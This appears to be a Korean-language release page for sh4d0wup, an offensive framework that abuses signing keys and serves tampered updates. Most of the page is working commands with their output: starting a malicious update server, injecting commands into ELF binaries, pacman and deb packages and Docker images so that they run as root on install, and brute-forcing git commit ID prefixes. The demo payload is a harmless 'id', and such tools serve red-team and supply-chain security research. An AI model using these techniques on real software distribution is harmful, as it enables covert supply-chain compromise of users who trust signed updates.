업데이트로 돌아가기
New releaseAug 4, 2026

sh4d0wup v0.11.1

서명 키 남용 및 업데이트 익스플로잇 프레임워크

공유

sh4d0wup

% docker run -it --rm ghcr.io/kpcyrd/sh4d0wup:edge -h
Usage: sh4d0wup [OPTIONS] <COMMAND>

Commands:
  bait         Start a malicious update server
  front        Bind a http/https server but forward everything unmodified
  infect       High level tampering, inject additional commands into a package
  tamper       Low level tampering, patch a package database to add malicious packages, cause updates or influence dependency resolution
  keygen       Generate signing keys with the given parameters
  sign         Use signing keys to generate signatures
  hsm          Interact with hardware signing keys
  build        Compile an attack based on a plot
  check        Check if the plot can still execute correctly against the configured image
  req          Emulate a http request to test routing and selectors
  completions  Generate shell completions
  help         Print this message or the help of the given subcommand(s)

Options:
  -v, --verbose...  Increase logging output (can be used multiple times)
  -q, --quiet...    Reduce logging output (can be used multiple times)
  -h, --help        Print help information
  -V, --version     Print version information

👻 섀도우 업데이트란 무엇인가요?

여러분이 다운로드한 업데이트가 다른 모든 사람이 받는 것과 동일한지, 아니면 오직 당신만을 위해 만들어진 다른 업데이트를 받은 것인지 궁금한 적이 있나요? 섀도우 업데이트는 공식적으로 존재하지 않지만 유효한 서명을 가지고 있어 클라이언트가 진짜 업데이트로 받아들이는 업데이트입니다. 이는 해커가 서명 키를 탈취하거나 합법적인 접근 권한을 가진 릴리스 엔지니어가 악의적인 행동을 하는 경우 발생할 수 있습니다.

sh4d0wup은 합법적인 서버 앞에서 리버스 프록시 역할을 하며 다양한 아티팩트 형식을 감염시키고 서명할 수 있는 악의적인 http/https 업데이트 서버입니다. 공격은 plots에 구성되며, http 요청 라우팅 방법, 아티팩트 패치/생성 방법, 서명 방법 및 어떤 키로 서명할지 등을 설명합니다. 경로에는 selectors가 있을 수 있어, 예를 들어 user-agent가 패턴과 일치하거나 클라이언트가 특정 IP 주소에서 연결하는 경우에만 매칭됩니다. 개발 및 테스트를 위해 모의 서명 키/인증서를 생성하고 신뢰할 수 있는 것으로 표시할 수 있습니다.

🏗️ sh4d0wup 실행 파일 빌드하기

Arch Linux [extra] 저장소에 미리 빌드된 바이너리가 있습니다. Debian 기반 시스템에서 소스 코드로부터 바이너리를 빌드하려면 다음 명령을 사용하세요 (ubuntu 22.04에서 테스트됨):

apt-get install curl git build-essential clang pkg-config libssl-dev libzstd-dev libpcsclite-dev liblzma-dev
curl --proto '=https' --tlsv1.2 -sSf https://sh.rustup.rs | sh -s -- -y
source "$HOME/.cargo/env"
git clone https://github.com/kpcyrd/sh4d0wup
cd sh4d0wup
cargo build --release

sudo cp ./target/release/sh4d0wup /usr/bin
sh4d0wup --help

📦 플롯 컴파일하기

일부 플롯은 다른 플롯보다 준비가 더 복잡합니다. 다운로드 및 아티팩트 패치로 인한 시작 시간을 피하기 위해 사전에 플롯을 빌드할 수 있습니다. 또한 사전에 서명을 생성할 수 있습니다.

sh4d0wup build ./contrib/plot-hello-world.yaml -o ./plot.tar.zst

🦝 플롯 실행하기

이 명령은 플롯에 따라 악의적인 http 업데이트 서버를 시작합니다. yaml 파일도 허용되지만 시작하는 데 시간이 더 걸릴 수 있습니다.

sh4d0wup bait -B 0.0.0.0:1337 ./plot.tar.zst

예제는 여기에서 찾을 수 있습니다:

🪄 아티팩트 감염시키기

sh4d0wup infect elf

% sh4d0wup infect elf /usr/bin/sh4d0wup -c id a.out
[2022-12-19T23:50:52Z INFO  sh4d0wup::infect::elf] Spawning C compiler...
[2022-12-19T23:50:52Z INFO  sh4d0wup::infect::elf] Generating source code...
[2022-12-19T23:50:57Z INFO  sh4d0wup::infect::elf] Waiting for compile to finish...
[2022-12-19T23:51:01Z INFO  sh4d0wup::infect::elf] Successfully generated binary
% ./a.out help
uid=1000(user) gid=1000(user) groups=1000(user),212(rebuilderd),973(docker),998(wheel)
Usage: a.out [OPTIONS] <COMMAND>

Commands:
  bait         Start a malicious update server
  infect       High level tampering, inject additional commands into a package
  tamper       Low level tampering, patch a package database to add malicious packages, cause updates or influence dependency resolution
  keygen       Generate signing keys with the given parameters
  sign         Use signing keys to generate signatures
  hsm          Interact with hardware signing keys
  build        Compile an attack based on a plot
  check        Check if the plot can still execute correctly against the configured image
  completions  Generate shell completions
  help         Print this message or the help of the given subcommand(s)

Options:
  -v, --verbose...  Turn debugging information on
  -h, --help        Print help information

sh4d0wup infect pacman

% sh4d0wup infect pacman --set 'pkgver=0.2.0-2' /var/cache/pacman/pkg/sh4d0wup-0.2.0-1-x86_64.pkg.tar.zst -c id sh4d0wup-0.2.0-2-x86_64.pkg.tar.zst
[2022-12-09T16:08:11Z INFO  sh4d0wup::infect::pacman] This package has no install hook, adding one from scratch...
% sudo pacman -U sh4d0wup-0.2.0-2-x86_64.pkg.tar.zst
loading packages...
resolving dependencies...
looking for conflicting packages...

Packages (1) sh4d0wup-0.2.0-2

Total Installed Size:  13.36 MiB
Net Upgrade Size:       0.00 MiB

:: Proceed with installation? [Y/n]
(1/1) checking keys in keyring                                         [#######################################] 100%
(1/1) checking package integrity                                       [#######################################] 100%
(1/1) loading package files                                            [#######################################] 100%
(1/1) checking for file conflicts                                      [#######################################] 100%
(1/1) checking available disk space                                    [#######################################] 100%
:: Processing package changes...
(1/1) upgrading sh4d0wup                                               [#######################################] 100%
uid=0(root) gid=0(root) groups=0(root)
:: Running post-transaction hooks...
(1/2) Arming ConditionNeedsUpdate...
(2/2) Notifying arch-audit-gtk

sh4d0wup infect deb

% sh4d0wup infect deb /var/cache/apt/archives/apt_2.2.4_amd64.deb -c id ./apt_2.2.4-1_amd64.deb --set Version=2.2.4-1
[2022-12-09T16:28:02Z INFO  sh4d0wup::infect::deb] Patching "control.tar.xz"
% sudo apt install ./apt_2.2.4-1_amd64.deb
Reading package lists... Done
Building dependency tree... Done
Reading state information... Done
Note, selecting 'apt' instead of './apt_2.2.4-1_amd64.deb'
Suggested packages:
  apt-doc aptitude | synaptic | wajig dpkg-dev gnupg | gnupg2 | gnupg1 powermgmt-base
Recommended packages:
  ca-certificates
The following packages will be upgraded:
  apt
1 upgraded, 0 newly installed, 0 to remove and 0 not upgraded.
Need to get 0 B/1491 kB of archives.
After this operation, 0 B of additional disk space will be used.
Get:1 /apt_2.2.4-1_amd64.deb apt amd64 2.2.4-1 [1491 kB]
debconf: delaying package configuration, since apt-utils is not installed
(Reading database ... 6661 files and directories currently installed.)
Preparing to unpack /apt_2.2.4-1_amd64.deb ...
Unpacking apt (2.2.4-1) over (2.2.4) ...
Setting up apt (2.2.4-1) ...
uid=0(root) gid=0(root) groups=0(root)
Processing triggers for libc-bin (2.31-13+deb11u5) ...

sh4d0wup infect oci

% docker pull alpine:edge
% docker save alpine:edge > alpine-edge.tar
% sh4d0wup infect oci alpine-edge.tar infected.tar -c id -t infected:latest
[2022-12-12T00:31:17Z INFO  sh4d0wup::infect::oci] Original image is referencing config "121d0da757518198deeb7d1df20aaae549834f8bc77195bbf5be1900c0144cff.json": LayerConfig { config: Some(Config { user: Some(""), exposed_ports: None, env: Some(["PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"]), entrypoint: None, cmd: Some(["/bin/sh"]), volumes: None, working_dir: Some(""), labels: None, stop_signal: None }), rootfs: Some(RootFs { type: "layers", diff_ids: ["sha256:2f7048230bc73ff091490aa5764f9c160d1a4efe04935da731a22e8d5fcccfcc"] }), extra: {"container_config": Object {"AttachStderr": Bool(false), "AttachStdin": Bool(false), "AttachStdout": Bool(false), "Cmd": Array [String("/bin/sh"), String("-c"), String("#(nop) "), String("CMD [\"/bin/sh\"]")], "Domainname": String(""), "Entrypoint": Null, "Env": Array [String("PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin")], "Hostname": String("457781b778a4"), "Image": String("sha256:28d4c3ce9341a318d475e64365e47a34d5b9ba6c670bed35ce90b2402296ead6"), "Labels": Object {}, "OnBuild": Null, "OpenStdin": Bool(false), "StdinOnce": Bool(false), "Tty": Bool(false), "User": String(""), "Volumes": Null, "WorkingDir": String("")}, "architecture": String("amd64"), "created": String("2022-11-10T20:19:29.043621251Z"), "history": Array [Object {"created": String("2022-11-10T20:19:28.834390785Z"), "created_by": String("/bin/sh -c #(nop) ADD file:51c4407dc777648e8ebc8e124b05feb1807699ade513b6006a9a409f6b0f6f51 in / ")}, Object {"created": String("2022-11-10T20:19:29.043621251Z"), "created_by": String("/bin/sh -c #(nop)  CMD [\"/bin/sh\"]"), "empty_layer": Bool(true)}], "os": String("linux"), "docker_version": String("20.10.12"), "container": String("457781b778a449c9eac455ca1a18300a4041cb2b0d2d3f979460d19d7632ebf7")} }
[2022-12-12T00:31:17Z INFO  sh4d0wup::infect::oci] Creating new layer in image: "patched"
[2022-12-12T00:31:17Z INFO  sh4d0wup::infect::oci] Generating filesystem layer for payload: "id"
[2022-12-12T00:31:17Z INFO  sh4d0wup::infect::oci] Updating tags of image to ["infected:latest"]
[2022-12-12T00:31:17Z INFO  sh4d0wup::infect::oci] Writing modified manifest...
% docker load -i infected.tar
Loaded image: infected:latest
% docker run -it infected echo hello world
uid=0(root) gid=0(root) groups=0(root),1(bin),2(daemon),3(sys),4(adm),6(disk),10(wheel),11(floppy),20(dialout),26(tape),27(video)
hello world

Git 커밋 부분 충돌(Bruteforce) 생성하기

다음은 git 저장소에서 최신 커밋을 가져와서, sh4d0wup이 설치된 원격 컴퓨터로 전송하고, 제공된 --collision-prefix로 시작하는 커밋 ID가 될 때까지 조정한 후, 로컬 컴퓨터의 저장소에 새 커밋을 다시 삽입하는 방법에 대한 간단한 원라이너입니다:

% git cat-file commit HEAD | ssh lots-o-time nice sh4d0wup tamper git-commit --stdin --collision-prefix 7777 --strip-header | git hash-object -w -t commit --stdin

시간이 다소 걸릴 수 있으며, 결국 새 브랜치를 만드는 데 사용할 수 있는 커밋 ID가 표시됩니다:

git show 777754fde8...
git branch some-name 777754fde8...

카테고리